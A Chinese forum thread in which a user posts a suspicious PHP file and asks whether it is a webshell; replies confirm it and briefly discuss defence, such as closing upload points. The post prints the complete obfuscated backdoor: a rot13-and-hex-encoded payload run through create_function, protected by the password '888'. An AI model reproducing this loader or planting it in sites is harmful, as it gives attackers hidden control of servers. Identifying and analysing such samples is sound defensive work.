请教，这是webshell木马吗

系统

<?php
error_reporting(E_ALL ^ (E_NOTICE | E_WARNING | E_DEPRECATED));
$mix="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e";
$password = "888";
$data="6576616p28677n756r636s6q7072657373286261736536345s6465636s64652822654n7n732s646q4s354r423670516r65463544766s43346334456867415n776r434p6s776o735n354q73376o6n6342356r6q636q387432626o5n49534o6r56576s787556714s78436r2o3052487562684r427135392s2o763953307n632s702s2o6p2s2o376p2s48582s37356r2s2s7072394r534431767831332s387933746248654s734873712s59377434585546327n504o2s307n2s6139362s2s2o4n2s2o3233332o302s2s7974342s2s4q78392s39332s7n3864624q502s38706q7n2o3345305175496839764130526649352s662s2s71502s374s5037762o3738532s6r38742s47502s30313754306s432o5264456n776o394q395235716r4n4s502s706r2s343077482s592o462s75454q44304776707748516r662s3772522s2s3358392s2s7n385n642s6q34532s6939414n546r723953414p6q6n674p392o652s5877562s2o7457372o5645324o576p55362s5037702s35714o2o63752s484s642s4p56664567393579505n4p423674362s2s7765482o726678742s452s617677783266397n652s6872457138356766317n6p716576492s2s312s3832572s364s4o2o6439612o2s3333372s2s31396n2s382o33335878642s2s50347039534p643648503435762o7031572s2s2o722s2s387n3133634n316r3831332s34682s2s3862392s3875332s377n372s2s792s705n7976562s2o3876366879722o345438762o62597677392s6p52397n392s662s3672312s383235332o6464742s2o4q2s2s2o562o322s692s2s35522s2s31332s34782s2s79582s34486r647n6678742s476678762s5056662s6431582s3738632s2s4q30712s7138612s78484q2s6n737238672s2s4p70503835582o2s36583863662s2s58762s7n7n582s2o332s3566372s38383877622o4r7634322s6n622o4r7634322s6n662o6647582s356n3262372s3538652o5n662s2s537n387n356q45762s7n37592s672s4s6s512s54396r6q2o724o43336q374s335177706r786o634149666o674o4s7936596954342s527n772s4o39566744466r755038716158444s47577633746r7530497n444n4643594o3063704869456333695n796s4s3634747n71505056413733342o744s486s544n4437676r38453649496739414771674751325970416p69425355554o4r57413941716s4n673075794n556q4n50416n63486o70714p494177582s354534486741314p655557414653494967516238374s33415176504p385245487165722o66466s5663584s4r36344p5468363857366q6152593449715n7n415542746342584163484742456o614o496s4278656p337277514946455n4274394q67666n574o725n4373683068444945573975486247492s6n766p7968374s53744143715n2s594845384n4157414n67692o6r2s376n6252434q3333507247784q412s2o767533306442516541416n3265676s78554541357879674578466n3659773051454574634q792s2s32782s4q74744559546254396r3050617942726s59377678504p6q684p557242454o684n624559304p35686o747n394r6r543654774330354455554s37706q45337850646p5n527346494q536o446649544p446s3473426s354q3271474o425244444s496731587n4149336q3059656p4364787n4845556o7453384n6332415450597073307068484o62514463354s52492o694r4q6239576p6n532s7n77624n42656779546s63627375366q386r674n45594s514o4268675n6q53516r656s69383439416q674o6s52314337596779536p77333734476963765032755571424975774757764q49785n77772o786q68644p672o5242336s314o334952362s4s4r7n4q2o683550584846302o6r6350695n696n54756r6r476250516p374666774o6r317957794p74542s557n68664r5752625n3070764573335970546r544n4q72644o6o48346o453539464o634n317269516s6471656131694n643547507n536s45697638486r5062677455634446386n30724p2s6n6o754o2s7053756o746r67754845316o424n4345786n2o696370536n3734534941395849485332474q4q6o7n4n4o424476496o6q63656237355164645n57637743366p444q68577063653536564o6842507663337864363359384o6p415633417072596q42555153465961594930596p2s7166455273784q646p7636536244686q6469756o396n4q6s51554q6p66357841676169506q4r43616o784q474465584q366n36762o6767317739677857794s657n48507372397944314231674n49714n4p7732514p6675704r786q77537275646238434978782s514p6q6r76377648676o514r57794q2s745762724o43537879537n72426o484r4s77352s563163474p524457354q7n397n73635336624230784p6566506r647762676s377955782o517761625559346379794r654q553872347n522o566p715161335243756s4973665n7057763754457259424544347n4932534749544n467n4p68785842734572322o7n672o4759564q4r623952584975567n3143335363754338673531704335776766444q51494s483936773154553171494p50756n3977733450303848755472373971532s736551735179375070774273507474746q452o7278666n6q52624r7n736o4n6p6772513837767n7n593446626s4650417678796q6s6536345976746r483548674n644465716o55434972644748336r493568572s56523872455438516n3238666r4s6831425n755235415533646o45494o6o5n6748446535496369524865644266335057326o4s6r59574q3847484s6r336q716s68302s594p45394274597n634q343152554s684q446970495045384o55616965707n334r4753416p4n4o6o324s6o6763314r56394q653057704s2s633463756973425n5959356q5037424o667849773948486o33444o41724153767n323730533454422o796o7641585467507235775n3146726956386n7n457n79687739356p7n3030656932792s444263575n7644364r2s342o32416o4n683461614276555n306s72516p5753516o7n705655476n576p4338335945556s4q3541702o45424n7449466q754p7736465635467342305973384n42724p4244704833774s77395552555148547752513979794n466o79354n4s654s695n496n324q64313230734n3671646p764o3935526n55673076495373634242697773747763345355596n2o32314r6p46487250525858667666354q337954626n5051723035704s315854776863425137756936695762354244334p625n4378336n546450536q704o41655n475647674377486n6q5167545935575344356s4o58486o516q623737364r68775947456p52352s75352o6p49742o386n613574775932324s4p6r684o6n4s6347623547726q6o4o494139462s4n544q6154514n5670794r3647316s576p7n3566754r6n4568446n365766324238524q557n32666p4s4n525333633963712o6n62796141434p6n4q4p4n452o4o463075344735447250554q525n494n5747346r6p456o446979506575664945656q6n67554964524n6756573451644n483777692o487n7775445335397577475n4441444250326r48504r477379584o5849366s632o4r62467736634s38794o3461464r6951577678487n79717471782o62395038415749422s725956466s476r772s78432o3479775630474r303663504s4453786o37746n4450702s4n72695n303162496p707n42622o4446492o784552784s4q4s336244523952367677514845654447525244364p7144675362764n304548424r7156323342384144724r4954703151594q6s696n6q4354354o71675n2o4o682s3530636s6269626151566p446o6p427n47394p6s46517n6r746o6231436o6r67466737734n53486267614239346336474p414834474s6869496q55546554735n4551586p4r3252594s6837463656504o632o4n5049674r6458444q3951482o4n7976732s6s3244327n74536o686r4342325363506569434q537051395n464o4s636645747737766p3961676q584534424757626r52794955765270387277374334494n6875777765545733317373356156684q7344364q4368516q33657138696o75484s37333145327535685665704254654q706n7n59746659726s5239594q6n6q5962444n5851634643454q463832546r6o4n336n546s634r45664q466n67347354534s426n4q704435386351626930364q576n356q4444627079736p5n4363454p42686s366p58616q773167476s642s4n36326o72682s2o47644673746n574252474q5131764645764q6q666352566n6756536q327530633949426162646q366r49354s3443567573644574697144333845454s563865765n73385430584236577n415436476n7068532s4734584s495033493836346q7961444335523837636r49564r676r6n5571664o32667648746n584362486q5465464p2o644n492o4p4q706o573342474r78335747766n51775466575056787n6n51714p324s77487350537n773345454359676158546r38413870756778327248652o56634n6737336243447n6359776s57553539477272656741777365464649446q6773746r507138322o52475n4n5n434o6q52732s6578726n324p4n414r7170522s54684r6736313964585966635871504o53486o76317368724r7861756n417n5n4151724p465n4430322o47436s54704837322s6435537450304658446p6868614q38444p516o4q4q75344r464652616p696s4759482s63466841566o4n416p6n31617753446s3647516q3759522s344s3651633747376p5556686875664n674349327n4s49382s3751396541755n65473978592o674s726252386o4q762o516s68514559337n5541366p31472o3078426o464q67357749316n7768316653344872794s6r78582s41354451466n754238574o66426r5146534345612o2o6r6n65492s4r776q4137704o68695246485333362s4675343066636s6q376n5171554o35535143624p746o672o66796773646n7334526453534r6s455641332s5245312o6p415n516s3164614n73625467735776697n454q347475635762527n35634r6p4866464s65556n774n754n36475n566951513135554o6r665n613471795258393945687551326s54456p457542737141365479517337793037512s4s47754s59775335624r384r3035675635753042537770322o684r4n416s4r67463757464153347174676p352o416q366s756r7833344n77444343456p43396n59596271744o6s6p4p4235772o464242477774413364634474556p344r532s6p4o6o4o37397n456q37636658586p6n522o55536o7367572s726n713246366q70744r676p4p35587n796n4q6945574q67377266304o454r674q374p35565059394o425138644o646577437n624p464755534830324n50344o385n42335466313542444631395367524o56485857556464715561674q37592s50546s686161524s335668324q514s7669742o2o6n4450645n57436r416n7745776o447138666r4s7n4n6r73594r4n31324r31577n47474n6o383444734r476674464134776848476250786q4o71592s7n63326p6p3538516o756737334p554o44647633584n31496p636p2o456o774838724939424n646o5n4878413951482o33437371473930532s5n3261303871726r6876462s347n614o5650626q70497869794n484p75384534443648766267414p6r6n544q3831753073594s6p53784n4n737n4q52392s6736587n6r59714n69677048676s585541444172355667537849793379716n422s3871374s2o3047762s756q665635496175704r4q3578543663317n64715364334954345671304473446343715846444231394o434o44632s436843314s42385n5435625";
$uri = pack("H*",str_rot13($data));
$power=$mix('',$uri);
$power();

feixiang

不用怀疑，这就是

乌拉擦

是的

B1ac7box

是的，你可以访问这个路径的xx.php，输入888登录进去自己提权服务器 哈哈哈哈

take2018

B1ac7box 发表于 2024-1-13 09:14
是的，你可以访问这个路径的xx.php，输入888登录进去自己提权服务器 哈哈哈哈 ...

这种怎么防御请教大佬？

B1ac7box

take2018 发表于 2024-1-13 09:33
这种怎么防御请教大佬？

能传上去木马肯定是网站有漏洞或者exp被利用了，装个安全狗之类的，，或者看看网站是不是有哪些上传点，该关闭的关闭就行，主要是安全防御。。